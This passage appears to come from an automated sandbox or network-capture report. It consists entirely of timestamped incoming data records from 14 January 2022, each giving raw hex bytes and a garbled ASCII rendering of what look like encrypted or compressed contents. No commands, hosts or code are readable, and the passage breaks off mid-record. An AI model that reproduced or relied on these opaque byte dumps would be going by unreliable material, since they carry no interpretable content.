82 a9 5d b9 Data Ascii: $=pg)p)dGK&X#8Ho-Z(}L"/MF8aM6dDQr=4)$IakkA!.J-m.RrfoajN~,1omx]]JUNSq.>6;<2=*$Pf0je]
2022-01-14 03:59:48 UTC	761	IN	Data Raw: cd a0 5e 86 d3 89 dc ec 77 5c 51 e4 6e 3c 31 7b 61 0f 04 15 e7 7a c2 d4 bc d0 af 10 c2 60 5d aa 1c 0d ce 33 1a 74 48 fc c9 68 46 04 85 dc d9 69 f8 4a b0 a6 bd 81 1b 28 b2 e8 6a ad 02 c1 8d d8 5c 0c 2d 23 2e a7 ee 45 f9 d7 72 47 27 f0 91 21 c5 f2 8d 1e ed 9e 52 78 da e2 77 ee 1f 65 91 e9 e5 10 03 c3 81 f4 78 01 a4 df da 78 e9 a9 a8 64 00 2e 77 6d 20 aa 52 a4 6b cf 39 f1 1b 7b ff 5b 19 b3 6a 25 ec e6 86 53 67 04 fb 06 c7 b4 ed 91 82 c8 a3 18 82 93 9b b6 47 16 03 ea 70 a2 00 69 3d 37 53 40 19 60 08 ff 8d bd 04 91 f4 bb 1b 61 35 9e 4e 75 0d 2b ba c9 a0 37 81 b1 8f ec fd 73 76 e1 a0 e4 04 20 eb 46 d4 67 1c 11 ba 96 73 1f 04 4e 14 bf 88 23 f8 3a 61 b5 ff a9 12 8c ad 8e 73 46 14 f9 44 3b 18 68 8e cb 73 60 d6 83 e8 64 83 b4 c3 24 38 6f 58 fb f8 9d 91 bd 05 ee bb Data Ascii: ^w\Qn<1{az`]3tHhFiJ(j\-#.ErG'!Rxwexxd.wm Rk9{[j%SgGpi=7S@`a5Nu+7sv FgsN#:asFD;hs`d$8oX
2022-01-14 03:59:48 UTC	777	IN	Data Raw: 52 e8 0f af 13 d3 5c c3 83 87 c9 f7 a1 53 49 69 1a 45 f3 74 94 00 ba 40 70 1c a5 e3 48 c7 8f 33 d1 ff db 02 5b c1 f4 ee df 56 1b 7f 43 42 cf b3 03 35 2b f0 09 af 4a ba c1 b9 2b cd 26 cc cb bb 16 60 9f 1c 65 96 be a9 e5 35 c3 18 96 cf df 1b 01 96 2d 86 48 7f 76 99 b0 17 83 f9 bd b3 2c 09 f4 df 83 92 8d 7a ff 5f 91 f4 fa 10 5d 7a bf 98 33 43 4f 14 bf bf 7f 19 31 03 c2 84 36 fe b0 56 a6 a2 8d 0e 64 a3 18 dd 09 7d 08 f6 6d 66 e3 0e 22 3e d2 ff 38 05 c7 b5 3c 70 4f 96 17 9c 56 6c 3d e1 79 54 79 9d 09 ff d3 9b 3d b4 54 bd d5 e7 ff 4d 8c bc 93 f7 56 0b c8 ce 1a 1a 16 d5 49 37 ed ee d6 30 b5 51 3e 9c 40 d1 dc 9e b5 e4 5e 31 19 62 42 f9 f7 f5 2a 58 99 02 5f 97 9d 11 81 89 2d 36 73 37 51 95 95 57 c6 9c e6 7d 39 96 71 b2 6c fb d1 db 22 24 c8 cd a3 db b3 3c d1 a3 94 Data Ascii: R\SIiEt@pH3[VCB5+J+&`e5-Hv,z_]z3CO16Vd}mf">8<pOVl=yTy=TMVI70Q>@^1bB*X_-6s7QW}9ql"$<
2022-01-14 03:59:48 UTC	793	IN	Data Raw: 10 c2 44 82 65 81 dc f2 d3 fd 5c ac 7a c4 ea 66 47 7e 67 bc ac b3 bc c4 08 28 04 30 f2 6e 8b 48 3f c4 aa 46 2a 7d a4 09 5c 28 d1 5e 01 9c 74 bb 76 ea bc 01 51 8f 3b 67 f0 5a 65 27 2e af de 40 0c 3e 5f f3 3e 2c 4e 67 f9 6f 68 f1 91 01 82 6a db ac 05 d3 19 22 a8 6d 37 78 e7 57 a5 8b 85 c1 c0 ef 69 34 cc ca b6 91 02 79 c3 61 50 ea 46 3f b8 d2 61 69 7b 50 96 e9 55 a5 fd 7d 5e b8 2e 18 17 86 8d 93 61 ab ae f2 70 9d 77 6b a2 a2 76 b9 ed 3a e4 1f ef 0b fa 49 6c b5 5a 56 a1 75 26 8e 25 0f 8a 0e 0d cd 5e ad fe fd 6b 5c 7d b1 54 11 73 5a e2 65 ed bc f9 d7 bf f7 da ac ae f0 e1 81 1d 60 f0 be e2 20 19 6b 76 33 6a 07 2b e2 bb 83 da 21 f9 a1 78 88 e9 b1 57 35 4e 92 be 2c 0e bd 74 37 34 1a cc f6 86 c8 c6 ad 16 5c b0 2b ea b6 79 e3 a3 f4 03 9a a0 ea 18 d3 79 b3 64 16 1a Data Ascii: De\zfG~g(0nH?F*}\(^tvQ;gZe'.@>_>,Ngohj"m7xWi4yaPF?ai{PU}^.apwkv:IlZVu&%^k\}TsZe` kv3j+!xW5N,t74\+yyd
2022-01-14 03:59:48 UTC	809	IN	Data Raw: b5 c0 84 42 f6 a1 5c 36 75 9d 0f e0 34 6a bd e9 aa bb e2 93 77 81 47 20 60 ba 69 5a 33 47 27 8d e2 f2 f9 fc f3 9b 7a 06 67 51 c7 87 fc dc 2f 00 44 fc 97 30 8c be e5 a1 97 98 cb 14 05 db c0 2c dc 0e 84 b7 42 8b ac d7 91 55 ae 16 74 52 e8 70 84 0a 94 dc 99 86 e5 bb 5c a3 ca 36 08 c6 1a a1 e0 9b fa e0 f9 ca ff 0c 58 9e d5 c2 4a 34 89 a7 58 d6 92 c1 8b fb ca 5c 8a 23 e1 8d 9d 8a f4 84 fa 1f 2e 8d 9a 6f 94 43 85 e2 85 d2 e9 99 53 c0 05 f5 06 aa c6 c2 41 16 54 ac af 46 a9 cb 87 e5 7d 2e 4d a3 44 f4 ad 1f d2 ac 15 5c 6a 14 f5 09 10 4c e4 00 76 9a 7a 12 92 3e a9 e6 14 be db be bd 7a 18 6a 93 f9 15 b8 bd c8 f0 d1 03 98 3f e8 a3 07 73 14 de 4c 60 8d 1c cf aa 2e 04 5c c2 16 e9 ef 1c 56 97 66 66 39 ad 66 0e 1b 42 21 20 1e 6b cd 62 b8 52 86 60 83 f1 c1 e2 f5 77 6f ab Data Ascii: B\6u4jwG `iZ3G'zgQ/D0,BUtRp\6XJ4X\#.oCSATF}.MD\jLvz>zj?sL`.\Vff9fB! kbR`wo
2022-01-14 03:59:48 UTC	825	IN	Data Raw: 14 d7 ec e7 1b 6d f4 75 e7 ff 65 81 52 0b 78 96 98 95 d3 a1 70 6f 60 58 62 3c 51 67 eb b5 de 79 20 16 05 90 5f 23 2e f8 c1 82 a9 5d 2c 1e de 09 fc c0 43 5d 1c dc c9 6b 55 32 8d f0 4a d3 8f 8e 8e 0c 99 2e 6f 24 eb bc 19 c0 cc d7 ca ec fd 2e 31 72 cf 3d 6f 51 54 1e 06 2b fb a4 90 e7 64 9f c6 3d 8a 2e c4 c7 81 10 24 b9 9f 41 ed 3a 3d d2 3a e2 63 d4 1b 56 b9 44 70 0a e3 e8 fa a2 31 9c e4 3c 7d a3 a9 de 5a 7d a5 84 9a bb e9 4a f8 5f f5 91 19 92 e1 5e 49 bf 8f d9 2f 55 71 f2 17 99 58 17 48 3b 5a 70 b3 a1 0b 4d 6a ad 4a 29 7a f3 1a 55 58 e6 79 d7 a1 03 51 62 37 0b 19 cf 14 ca ca 0f 46 ca fa 6e 75 6e 06 ab e4 df a5 e6 99 75 5c e1 cf ff 56 8e e7 e0 3d 31 c2 cd a2 5c f6 b5 04 76 80 9d 19 29 cf d5 ff 54 cd a8 19 0d 16 55 42 2c 43 76 17 a9 c5 f2 4c fe 29 48 19 39 c8 Data Ascii: mueRxpo`Xb<Qgy _#.],C]kU2J.o$.1r=oQT+d=.$A:=:cVDp1<}Z}J_^I/UqXH;ZpMjJ)zUXyQb7Fnunu\V=1\v)TUB,CvL)H9
2022-01-14 03:59:48 UTC	841	IN	Data Raw: 39 3d de 0d 8a 3f 38 9b 38 2a 9f 49 ed 20 78 a0 83 bb 08 d3 2f 52 46 06 53 c1 e0 47 63 df f5 1c 39 45 37 b1 b3 4b 48 ee 5d 07 b1 67 30 3f 61 8a 16 96 dc 90 cd 6a 13 10 70 7f de c0 d1 29 86 cf a3 dc ed 6c 2d 57 d4 35 99 21 c0 fd d5 d7 60 7c 58 a3 dd 61 ac fb f1 a3 ee db 47 bb f6 f8 61 c2 a0 54 c1 55 44 9f 3a 0f 94 3b 60 0f f3 d5 0e 40 a7 e0 42 d1 61 55 49 a2 6d e6 36 d3 92 2f e2 c9 28 dd 4a ba b7 2f f0 69 cd 29 a8 c9 64 b0 72 7c 80 6b a9 b6 e3 39 48 82 60 a2 dc 3a 63 ce 5c 0b 0d 13 b5 f6 f1 1b 3a 3d e5 71 4e ae 14 bb 3b 80 ec 4e b8 27 3f 45 a5 b6 c9 32 25 94 bf eb 14 63 3e f9 b6 f7 28 84 b2 dc f2 72 5b 0d 2e 4b 59 3b db 99 4b f2 8c c7 9d 36 ed 4a 98 c8 aa 64 99 45 dd 0d be 2f 18 09 3a b7 86 17 e8 be 38 b1 b1 ad 19 ae 5e 77 3f 96 6b 24 68 5b 81 15 6d d9 46 Data Ascii: 9=?88*I x/RFSGc9E7KH]g0?ajp)l-W5!`\|XaGaTUD:;`@BaUIm6/(J/i)dr\|k9H`:c\:=qN;N'?E2%c>(r[.KY;K6JdE/:8^w?k$h[mF
2022-01-14 03:59:48 UTC	857	IN	Data Raw: 51 3c 26 2c a9 bc e4 b4 fd df e3 9a 39 1b 84 ed b2 01 20 be 8c 81 ad 56 72 09 8f 70 94 f1 12 e2 40 6b c6 6b f2 b4 f8 93 22 49 83 3f e8 dc 33 78 9b 43 a2 89 c3 b2 a9 79 72 1e d1 30 95 1c ec 13 2f 7c 14 34 45 8e 67 e7 42 6d 14 73 dd dd 70 d4 d3 50 70 bc 5e d6 55 b3 c2 df 00 bb c7 58 42 79 5d c6 8a 38 7c ce 6e 0c 4a 01 81 82 5b b8 3c 3d ef 23 4f 09 32 a8 34 44 17 1e ef e7 73 b7 b5 13 25 42 f1 ec 0f 74 68 7e 7c 2e ba 5f 52 a0 27 37 91 d1 37 59 09 b5 1a bf be ad 3f fb 48 c4 bd da 54 e5 e3 c2 49 cb 1a 17 ea 22 b1 88 ae c9 4f 30 3b 5f 1a 58 bd f1 87 cb bf 52 a9 10 f1 f2 ce ec a5 f1 0c 9c 77 73 e4 a4 be 5f 73 4e cd 37 b1 f8 46 b4 1f 17 02 41 d8 67 77 de 51 58 99 d1 03 df ce 89 02 d2 38 c0 2d 09 9d b1 ef e8 46 88 ab 1f 81 3a 5c 49 9c f0 8a 77 94 6e 96 67 0f 7d a0 Data Ascii: Q<&,9 Vrp@kk"I?3xCyr0/\|4EgBmspPp^UXBy]8\|nJ[<=#O24Ds%Bth~\|._R'77Y?HTI"O0;_XRws_sN7FAgwQX8-F:\Iwng}
2022-01-14 03:59:48 UTC	873	IN	Data Raw: 6e bc db 3d cd 3a 99 7b 02 03 4c 5e 74 2a 9a aa 3d fd c3 b1 7f ac 32 ab a9 29 11 2c e3 c6 f2 f7 ad ed b5 ab 31 e9 7d f4 33 27 c8 78 1b 19 26 d0 18 66 cd ac cf 23 81 ef ca 5a 54 15 15 95 bb 34 86 1d 89 3a 61 c4 f7 dc cd b7 8e c6 38 a6 f1 28 46 dc b7 d0 ba 52 03 01 e3 e1 26 ac 80 4d 04 53 75 83 65 d5 d4 e1 22 12 a6 24 5b 2e b1 e8 2d ac 1a d1 1c 58 5a 92 da 9f 9c 79 6c 48 54 5c 02 32 56 15 5b ce ba 5b e3 4a cd 56 d0 c6 59 18 ee 8b 38 9b 12 03 3f 6f 21 9d c2 b8 cb 08 33 d2 60 d8 e6 ca ef 0f 94 d5 4e af 0b 32 09 56 84 65 8e 50 db f5 66 10 b9 25 e5 4e 4b 5c dc 5b 53 94 72 6a cf c2 6d 29 05 3e 75 31 ec ee a5 61 d0 2b 7a 00 1b 9a 3f a6 82 a3 ad 55 5e b6 a5 d8 a3 68 9b 7d 33 db 3a 0b e1 a3 bc ce 25 63 ba d2 4b 80 de 08 cd 3a 3f 11 d4 96 5e 84 6a f4 db 86 27 c8 bd Data Ascii: n=:{L^t*=2),1}3'x&f#ZT4:a8(FR&MSue"$[.-XZylHT\2V[[JVY8?o!3`N2VePf%NK\[Srjm)>u1a+z?U^h}3:%cK:?^j'
2022-01-14 03:59:48 UTC	889	IN	Data Raw: 1c 34 22 b3 4e f4 53 de 8a 21 a5 96 1c e0 a5 4f bb 36 ce bc 27 34 11 6e 66 08 2b dd a4 08 af 10 2c 03 0f 2a db b7 e3 6a 14 da 31 d2 81 15 a6 9d 7a 2f da 3d 5d 4a 50 ba ab 52 1b 59 a5 04 07 41 3b a5 cb 10 0a d3 a9 64 a5 4b 30 6b 06 53 ff 2a ee 6d f4 34 c3 07 c0 ca 4e 14 6e 1e 87 6d 81 84 2a 9d c3 a1 77 ee a9 f0 f5 ad ed 8f 40 d4 33 8d 20 f7 d2 2a 7f 0a c8 72 c1 45 13 43 51 bb b0 04 f4 df 24 82 81 90 66 73 59 53 5a aa 88 41 f4 97 87 04 b9 75 e4 85 6f ec 64 7d 14 2f 37 68 4a ce 7b 31 c8 70 a0 3d 5f 0b f8 ed 8f e0 79 58 40 8e fc 55 ef be 95 34 16 80 17 a8 13 a5 8b 92 c6 7d 75 cb 4c 50 e1 8e dc bc b2 87 c5 a7 41 3f 68 34 23 23 56 02 03 f1 ef d5 7e 84 98 0b 18 6a 23 af 4c 3a b5 07 2d 9c bc 72 ea 2b 14 bd 22 a4 72 e0 da 6a c9 6c 99 38 8b 1f bc 67 2d 07 bf 1d fa Data Ascii: 4"NS!O6'4nf+,j1z/=]JPRYA;dK0kSm4Nnmw@3 rECQ$fsYSZAuod}/7hJ{1p=_yX@U4}uLPA?h4##V~j#L:-r+"rjl8g-
2022-01-14 03:59:48 UTC	905	IN	Data Raw: 0a 19 0b 51 35 f2 6c 47 56 51 0d bc 16 4a 73 34 9b 8f b3 7c 0e e8 57 d3 cf 5e 89 78 79 88 41 ad 40 d5 81 fa 20 85 99 2f 2e 3b 4c f6 7f dd c6 5b 1a 01 31 f9 98 85 ff 5f 54 cc 0c f8 1a 2a a6 0c 9b 04 8d 89 28 36 ea 00 f8 6a 43 fe 50 b2 79 60 c3 b0 df 9a a1 b4 25 4f b3 a2 83 aa 70 6d 55 72 1c 75 0e ef 5b 41 6d b6 ec 79 df 98 50 44 57 c6 19 27 fe 40 39 37 38 65 91 67 df 30 60 f2 9b ce 98 bd d6 db b5 73 d3 e1 17 ab 13 a0 f8 d2 1e c0 e2 68 c4 c3 a6 a3 4b d0 6b cd bf 19 04 06 8e 61 ad 4a 89 b1 1a dd 84 a6 5c cb fe 3e 24 bd ec b3 11 a5 de 55 bd 7e 80 13 5f bb e4 43 94 45 b1 92 f6 e0 89 fd 8e 82 fb a7 1d 46 76 6e cf dd 5f d2 e8 ba a8 23 d8 b7 d2 1d 08 09 7c cd d3 ca 40 78 7b 62 70 f8 c8 e0 7c e0 35 c2 38 8b df 87 19 a5 bc ee f5 f0 6d e8 29 dd e5 4c 0c b6 9a 74 cb Data Ascii: Q5lGVQJs4\|W^xyA@ /.;L[1_T*(6jCPy`%OpmUru[AmyPDW'@978eg0`shKkaJ\>$U~_CEFvn_#\|@x{bp\|58m)Lt
2022-01-14 03:59:48 UTC	921	IN	Data Raw: b1 0b 1a d9 13 76 4e b4 5c cc e6 99 41 c1 d9 32 d3 72 1e 67 77 46 0e 15 32 06 ed f6 af 7e e5 77 c1 08 0a 1f 02 fb 79 cc 44 82 80 47 8b 80 2b d6 7c c7 6d 53 d6 09 38 fd fc a0 cf 12 9f 52 9f c3 c0 48 0a d9 c9 68 d6 ff 86 9c 30 ec 69 df e8 72 cc 39 00 16 b0 6e 45 fb 65 b5 f2 31 9c d3 28 00 e0 7d bc 3a 57 e7 b9 a7 9f 80 89 7f b6 6d 9d e7 b7 a8 64 92 f8 a2 b5 d5 d2 7c e4 51 2c 51 54 fb 01 73 03 dc 37 1e cc f4 7e ff b1 7d 2b f7 d9 71 1c 92 57 11 ac a6 6b da c1 ae c2 11 e8 03 d4 52 60 e1 18 b2 91 41 6d f4 f7 48 82 3c 4b f3 ce d3 52 c5 15 ce 42 c7 58 9d 2d 06 6b f6 62 24 38 cb aa ac fa af 98 b4 d9 d7 59 6c c7 f0 81 1a 72 5c 57 fa 60 39 77 3d 56 87 90 d3 ff 5d a2 e4 2f e7 d2 2d f6 11 84 33 af ea fb 84 27 ff f7 e2 78 cc 50 fe ca d6 3e 80 13 38 18 4b 65 20 f9 55 1c Data Ascii: vN\A2rgwF2~wyDG+\|mS8RHh0ir9nEe1(}:Wmd\|Q,QTs7~}+qWkR`AmH<KRBX-kb$8Ylr\W`9w=V]/-3'xP>8Ke U
2022-01-14 03:59:48 UTC	937	IN	Data Raw: 6d b7 c2 92 0d 3b 78 31 82 c5 63 65 7e 66 d9 47 85 3d 4d 08 34 29 74 36 0a 1b a1 4d 36 bf c1 b0 93 b3 d5 fb f3 d2 a7 a5 6b 1c 2e 7b bf cd a2 e6 2d af 4e 0d b2 a8 fd 77 ae dc 91 3c f6 49 9f 13 cd 0a d9 cb bd 6d 50 38 9b 2a f6 59 30 c1 14 ab df b6 44 e6 f9 5a ad f3 8f d5 a2 26 3b a1 6d dc 00 15 4f dc 9d de 5d 09 8e 4b e8 78 96 f2 67 6b 15 da 7d b1 37 04 0b c8 7a 4c 03 90 0c 22 25 50 a0 6f 29 92 da 4c 0b 18 1d 31 ca 21 85 80 e5 46 0e 50 fb cb 9e 22 40 73 df 9e 65 f0 cf 68 4e 38 24 71 93 a8 55 78 46 b3 44 4c fa d8 2e a0 3b e6 a3 99 c7 a4 c4 c0 9c d5 13 a6 d4 61 29 49 f7 1b 57 ba 2b 2b 45 da a0 cf aa 7c d7 24 38 55 e9 5a fa 73 14 f8 83 3e c2 1e d9 2b 0d a9 be 27 3d 23 70 a0 8c 8f ab 8d 73 88 22 dd cb 64 86 66 2a 1e 6b a2 06 f6 10 89 3d 7f 0e 9f 93 de da 98 1f Data Ascii: m;x1ce~fG=M4)t6M6k.{-Nw<ImP8Y0DZ&;mO]Kxgk}7zL"%Po)L1!FP"@sehN8$qUxFDL.;a)IW++E\|$8UZs>+'=#ps"dfk=
2022-01-14 03:59:48 UTC	953	IN	Data Raw: ef 18 64 c8 48 50 8e fb 9f 9b e2 46 3d 9d f7 b3 d1 11 56 1d dd df 0f 28 83 f2 31 61 c0 81 a7 93 06 37 26 85 40 0b bc c9 5a 2d 8b 57 f5 77 8c cd 1b 51 61 a0 f2 64 82 da a0 48 7b 8d dd 3e 9f e7 27 ae 64 26 34 55 a3 da b6 cf 5d bc 0f b5 01 24 b1 5b c3 60 52 7f 83 7a 03 c9 49 f5 42 76 37 0f 82 98 65 42 17 43 78 79 7a 7e 7a ce 83 8f e2 55 fd 2d 02 74 c2 0e 27 6f a1 eb b3 d6 49 e9 d0 1a 3a 99 1d c8 16 6a f3 bf 7c 0c 29 9c 45 39 21 57 47 4d 5f 72 2b 0f 69 62 af 17 8d 08 cc 92 73 52 b1 7d e0 ec f7 34 a7 6e 52 8b 3d 68 b9 b7 ea b0 94 e6 5a 50 55 78 c4 f9 17 f3 71 e5 4c 47 14 e2 e4 b7 79 e1 61 ef 2a 17 a6 c2 97 f1 00 30 a1 8b a9 22 a4 99 c9 22 ed 7c 3f 1e 5e 95 c7 b4 dd 54 b1 6f 38 ad 75 42 89 5e 90 ca 00 67 a1 26 6a 0e 7d bb e8 f9 ad 18 c2 56 82 28 c4 32 a6 e0 d4 Data Ascii: dHPF=V(1a7&@Z-WwQadH{>'d&4U]$[`RzIBv7eBCxyz~zU-t'oI:j\|)E9!WGM_r+ibsR}4nR=hZPUxqLGya*0""\|?^To8uB^g&j}V(2
2022-01-14 03:59:48 UTC	969	IN	Data Raw: d2 5b 99 d3 14 35 0b 4e 6c 9d 32 e4 ed 7e ee 53 ba 60 9f c6 c0 01 b9 19 bc cc b1 86 4a 06 6d a3 8a 03 90 43 55 f4 10 bc aa 9f db 86 9f 4e e9 e8 f6 63 97 7b 9d a4 93 1c ae b8 d4 6a 41 e1 b3 d2 d9 13 27 ad d0 ae 55 f8 f0 4c 7a 01 0b e9 6f 76 42 80 97 72 a7 f1 8f 3b a3 3f 99 de 04 6c 18 5b 48 4e bf 12 9a 4b e4 04 df aa c9 83 d7 98 89 b7 20 55 59 25 52 35 dd e0 a3 55 1a aa 93 80 88 00 de 9f d1 bf 85 3c b3 64 74 7a 66 e1 f9 ac 7f 85 cd 01 57 0c 34 72 a4 d8 33 58 22 88 23 59 1c e7 4f 77 2b 26 ce 59 a0 c4 52 26 fa 4c a9 12 26 09 f8 71 c6 8a 63 3f 88 fa 20 2d c9 cc b2 64 cd 58 1a fc 3e 87 a9 4c df 80 a9 25 10 4e 03 5b 59 3e 51 5e 57 1a fd da d0 17 84 21 76 5b 73 ab 99 f5 51 51 03 31 00 c9 bb 58 c8 f5 83 d8 84 3a 02 b5 2e 4f 23 65 47 17 3b 08 40 9a 4e 82 bc f4 12 Data Ascii: [5Nl2~S`JmCUNc{jA'ULzovBr;?l[HNK UY%R5U<dtzfW4r3X"#YOw+&YR&L&qc? -dX>L%N[Y>Q^W!v[sQQ1X:.O#eG;@N
2022-01-14 03:59:48 UTC	985	IN	Data Raw: 40 5a dd ea 68 9b 7c 68 93 65 28 61 03 39 c8 85 65 f8 cd 95 8f 9a 0e 94 1e b2 b0 40 ed 0b ff 57 6a e9 21 3d 1d ab cc 69 ff 23 56 b2 dc b1 34 6f ea 07 b5 a5 34 6b d0 b1 56 e0 54 e6 8d c7 d9 9b 15 d0 31 84 d2 05 84 91 2f 9b 7f d5 68 d7 98 59 3f 7d e4 52 08 6d 6a 86 d4 95 65 11 57 85 9c 07 77 32 9a 2f 26 52 52 0a 95 a7 a2 d8 53 5b 84 95 d2 ae 9f 81 0a 1b 46 b0 6c ce a0 11 5c 1b c3 87 f0 7f 67 bd b7 5d 7c fc ab e2 23 71 a7 2d 70 4c 1b 0b f4 f0 2d e4 7d 4c c7 6e 95 67 38 3a ac c0 f0 2d 8c 8d 3f 4d 39 5e 4f 47 7a d7 8b 30 87 3d de 2e f2 c7 67 d8 9b 25 6e 0b 5a 76 67 07 2f 31 d9 8a 57 65 02 ed 54 c0 82 f8 38 a2 67 4d 66 42 b5 55 d0 d5 d2 0f 0a 94 76 fb ed aa db 30 2c a6 87 5c 75 09 24 87 07 c3 a0 f3 6e 11 7a 23 ed 79 9c fe f7 e4 76 15 a7 eb b4 23 bf 0f 3f 93 54 Data Ascii: @Zh\|he(a9e@Wj!=i#V4o4kVT1/hY?}RmjeWw2/&RRS[Fl\g]\|#q-pL-}Lng8:-?M9^OGz0=.g%nZvg/1WeT8gMfBUv0,\u$nz#yv#?T
2022-01-14 03:59:48 UTC	1001	IN	Data Raw: 24 2d b7 15 f6 75 cb e7 a9 16 83 ff 62 0e 02 d2 7d b4 56 f4 19 de 0b 90 c8 20 54 c2 a5 05 f2 14 ac d1 c2 21 ef 5b fa 01 31 62 e0 63 65 7f 8d cf 53 b2 00 6e 0b ae e1 2d 9f 6c 1c f2 e8 db cd 5b b3 dc 32 c0 3a ca cd a8 cd 41 a6 ef c3 32 08 38 ca 3d 54 9e 20 bb c7 69 89 68 70 e9 e5 3b d6 87 34 c6 04 e9 b4 cf fa fe 54 5b bc 23 71 7a 4f 90 ca ba 0b fb aa 6e 21 be 8a a5 b8 6a e5 d7 2b 4a 59 e1 ff bf db 29 4f 61 5f 52 53 2b fb 31 7f 20 47 91 e0 a2 79 0f 3a b7 d1 d6 0a da 4f 65 62 60 71 e5 d4 cd 97 92 5d f7 d4 39 87 8e 93 bf a4 94 c2 ba 0f 38 c9 28 e1 46 3d 17 ae a0 8e 29 bd 8e 68 13 a0 1c 89 ba e4 e6 dc 3f 57 06 99 e8 9f 7c 92 ee a1 4e 0a 15 4e 48 71 1d 9e d6 5b f2 bb fc 19 e6 6a 50 97 3d c6 eb 3d e6 57 ce 8e b3 a3 b5 e8 73 a7 bb b2 6a 42 2c 4b 0f 27 b8 dc 7d 37 Data Ascii: $-ub}V T![1bceSn-l[2:A28=T ihp;4T[#qzOn!j+JY)Oa_RS+1 Gy:Oeb`q]98(F=)h?W\|NNHq[jP==WsjB,K'}7
2022-01-14 03:59:48 UTC	1017	IN	Data Raw: 7e 5f 8e 21 59 c5 0c de b6 05 0d 5d 4b 79 68 14 11 b3 bd cd 55 df 5e bb 5c ea 01 5f 63 cf c1 1c 6b e0 95 a5 e1 34 e5 51 4b fa da 7f 94 d7 1b a1 6b 49 cc d7 09 70 03 5e bf 15 69 21 ff 50 2e 4e 40 da fc 90 54 e7 21 2c cc 04 4f 05 a6 66 9f ac 8a d5 57 60 bb fb c3 43 06 c3 cd b2 54 1c 3c 2b 42 b0 dc 63 8b 14 c5 02 45 4e 5a e2 d0 74 b5 aa 8f 81 08 3e 1b 0e 80 9c 71 3b ee dc a3 d4 2f ad 06 6b 9c 23 88 05 73 56 e7 fb 32 73 6e 02 45 d0 af a5 ff 47 ef 55 b3 2e 97 a5 1a c7 0a e4 65 f7 01 ba 6c ab 4e 74 12 24 af e1 d7 99 8f 27 65 73 8a 20 ac 6c f7 62 67 51 d2 5c 40 0f de 6e ca c4 bd cb c8 83 6e 15 24 f4 ee d7 fc 31 b8 85 43 5e 40 81 35 db 4e c1 72 b5 6d ce 7b 02 9e 60 bf e1 c7 51 33 18 a2 0c 0e fd 9e 98 13 c1 fd 73 de 7f 4e 53 78 db bc 4d fc 02 6e 49 8d 7f ff ac 3a Data Ascii: ~_!Y]KyhU^\_ck4QKkIp^i!P.N@T!,OfW`CT<+BcENZt>q;/k#sV2snEGU.elNt$'es lbgQ\@nn$1C^@5Nrm{`Q3sNSxMnI:
2022-01-14 03:59:48 UTC	1033	IN	Data Raw: ef 66 51 08 e2 a6 51 41 d4 d2 6f e2 ab 6e 7a b3 ea 59 ef 8b b9 13 e8 17 a0 45 c0 d3 a9 7a 53 f7 d6 dc 80 7c 8b 49 57 9e a0 8b ce 5f 1a 6e 2a ac a8 2a d8 b8 a9 cd b0 1a ca cf b4 e2 1e 87 10 f1 66 05 f5 44 0b d8 42 c3 72 95 73 f5 73 e4 d4 7e 71 f1 4c 55 26 98 42 b7 cb 46 06 3a 52 5a 14 57 fe cf aa 53 99 eb ef d3 7d e3 d8 56 9f f0 46 cd 3c 25 c1 50 1a c8 84 c1 0e 0e 09 84 a4 ed dc 27 f3 86 3c 6f a9 9f cd e7 6b 7d b3 98 d7 83 4e 30 3e 1a 39 06 67 30 05 39 8f 26 56 38 c6 c7 5a 31 34 4b a8 3d ae 41 2e 61 df 00 37 a9 9b 58 61 ec 17 eb be 68 a8 89 05 e9 60 ee 5d 35 69 95 20 0c 03 d0 01 11 ac 2f e3 68 91 f5 13 4a 65 85 e7 6a 50 02 6c 4d 0f 6b 42 e5 4f 8c b0 c3 23 78 3e 19 bd 5e 2e c6 5b 18 f5 04 96 b3 1b 34 81 1a 82 7e 23 2d 8c 69 01 a0 0b c1 43 0a b2 f7 70 b5 1f Data Ascii: fQQAonzYEzS\|IW_n**fDBrss~qLU&BF:RZWS}VF<%P'<ok}N0>9g09&V8Z14K=A.a7Xah`]5i /hJejPlMkBO#x>^.[4~#-iCp
2022-01-14 03:59:48 UTC	1049	IN	Data Raw: e0 8b a9 99 f8 a2 c3 06 84 0f 07 2d 5f 15 22 30 2d 51 3b d0 84 56 7f 2d e4 80 ac 4d cb 39 00 c4 2f e8 86 ca 3e 16 b2 ae 9e 88 8f 36 ac 15 31 0d 6e ed f4 3e b6 c2 a1 c0 7e 92 d1 f4 2a 55 68 b6 0a f8 3b c7 31 e5 ef 9f 46 07 fc 22 47 8d f1 10 fd ad 26 90 1c 1e fc a1 00 a7 84 89 39 8f 97 c7 8b 3d 49 bb 6f 78 16 8d f2 3e 71 e4 17 3b 10 ee fc 46 f1 5d e5 c7 e0 e5 11 7e cf 67 18 c0 91 d5 94 91 ab fc 94 f8 c4 06 d1 d8 da 19 e6 4c c0 1e 69 ea 2a 3d b0 d2 d8 e0 87 d2 25 65 0b ef 6b 28 3d 16 c5 c9 3c 42 05 66 c8 a1 b4 de 6c 7e 3f c8 25 06 32 18 af a3 c9 3d 19 da 94 0a ae 35 50 dc 54 8a 7f a2 1c d7 9e 5d 58 40 ad a9 45 92 5d 7d ce 70 09 50 0a 23 52 73 aa 3e ba 93 3f af ca cc 81 98 02 59 62 36 33 59 91 49 cd 8a a4 38 cc d4 1d ba 84 0d 53 7e ac f1 d6 40 d3 1a 07 07 56 Data Ascii: -_"0-Q;V-M9/>61n>~Uh;1F"G&9=Iox>q;F]~gLi=%ek(=<Bfl~?%2=5PT]X@E]}pP#Rs>?Yb63YI8S~@V
2022-01-14 03:59:48 UTC	1065	IN	Data Raw: 19 6c 19 04 05 3e 35 9b c9 27 56 47 15 e5 08 bd dc 9d f6 70 ed 12 c7 49 0b eb 7c 47 e0 31 55 69 78 ee e2 26 58 94 b3 48 d4 ce af 01 df 66 03 0a 6c 84 e0 89 9a 68 71 b6 24 57 8e 5a 52 2f 46 51 7a 11 da 9c 08 8f 18 b1 bb 1a f2 d9 1b 05 df ff 50 7e 5c 80 59 35 0b f8 82 ac 55 d9 73 5d 1d 18 be 6f 92 33 70 44 20 f5 52 41 1e a2 c8 cd ae 94 91 dd 94 96 b3 8c 2a cc 26 b9 88 22 91 d1 86 36 84 d0 c1 7a 98 0e 4c 8f cd 37 33 18 96 3b 5e 6f 7c c6 d8 77 52 59 64 a8 3e fd 07 66 62 6e cd 11 b3 f4 2b 3f 2b 95 79 56 0c 57 25 a6 d0 92 35 74 b8 f6 e7 44 ec ae 96 96 28 72 b5 3c 53 69 9e 38 22 dd 9c 83 30 2d 73 b7 53 9a b8 ec 33 32 41 e5 ec a7 63 9e 15 89 50 a9 99 56 42 90 df 62 b6 de 19 